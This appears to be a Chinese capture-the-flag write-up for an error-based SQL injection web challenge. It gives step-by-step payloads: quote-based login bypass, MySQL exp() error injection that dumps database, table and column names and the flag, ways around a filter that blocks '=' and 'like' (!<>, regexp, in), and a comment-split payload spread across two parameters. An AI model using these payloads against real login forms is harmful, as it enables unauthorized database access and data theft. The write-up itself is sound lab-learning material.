实验吧 WEB 加了料的报错注入

  1. 没有用户名和密码的输入框,因此不能直接在URL中传递username和password参数。要使用hackbar或者burpsuit传。(因为GET方式会将参数拼接到URL后面,而POST方式却不会)

  2. 首先尝试username=1&password=1,提示Login failed。

  3. 尝试username='or'1&password='or'1,提示You are our member, welcome to enter。

  4. 因为是报错注入,尝试username='or exp (1) or'&password=1,提示User name unknow error。

  5. 尝试username=1&password='or exp(1) or',提示You are our member, welcome to enter。
    这里有一个小细节需要注意,要处理后面多出的单个'时,只需要在注入语句后面加上or'即可。
    猜测可以对password参数进行报错注入。

  6. 尝试username=1&password='or exp (~(select * from (select database())x))or',果然,得到当前的数据库名称:
    实验吧 WEB 加了料的报错注入_第1张图片

  7. 下面尝试username=1&password='or exp (~(select * from (select group_concat(table_name) from information_schema.tables where table_schema = database())x))or',却没有注出我们想要的表名,而是提示Sql injection detected。猜测可能存在waf对我们刚刚修改的某些字符进行了过滤,下面试图找出被过滤的字符。
    尝试username=1&password=group_concat(table_name) from information_schema.tables where table_schema = database())x)),提示Sql injection detected。
    尝试username=1&password=group_concat(table_name) from information_schema.tables,提示Login failed。
    尝试username=1&password=where schema_name = database())x)),提示Sql injection detected。
    猜想被过滤的字符是=,尝试username=1&password==,果然提示Sql injection detected。
    也就是说我们不能使用=。

  8. 有三个方法可以解决这个问题:
    方法一:
    使用!<>的组合,等效于使用=
    username=1&password=' or exp(~(select * from(select group_concat(table_name) from information_schema.tables where !(table_schema<>database()))x)) or'
    得到表名:
    实验吧 WEB 加了料的报错注入_第2张图片方法二:
    使用regexp
    username=1&password=' or exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema regexp database())x)) or'
    方法三:
    使用in
    username=1&password=' or exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema in (select database()))x)) or'
    另:
    尝试使用like,时,发现like也被过滤了。

  9. 猜测flag在ffll44jj表中,下面尝试注出列名:
    username=1&password=' or exp(~(select * from(select group_concat(column_name) from information_schema.columns where table_schema regexp database() and table_name regexp 'ffll44jj')x)) or'
    实验吧 WEB 加了料的报错注入_第3张图片

  10. 猜测flag就在ffll44jj表的value字段中。
    username=1&password=' or exp(~(select * from(select value from ffll44jj)x)) or'
    果然,得到flag。
    实验吧 WEB 加了料的报错注入_第4张图片


另外,在看其他的题解博客时,看到一个有趣的假设,username中把()过滤掉,password中把报错注入的函数名过滤掉。那就只能使用mysql的/**/注释方法,把函数名和括号之间的东西全部注释掉。
例如:
username='or exp/*&password=*/(~(select * from(select value from ffll44jj)x)) or'
实验吧 WEB 加了料的报错注入_第5张图片

你可能感兴趣的:(CTF)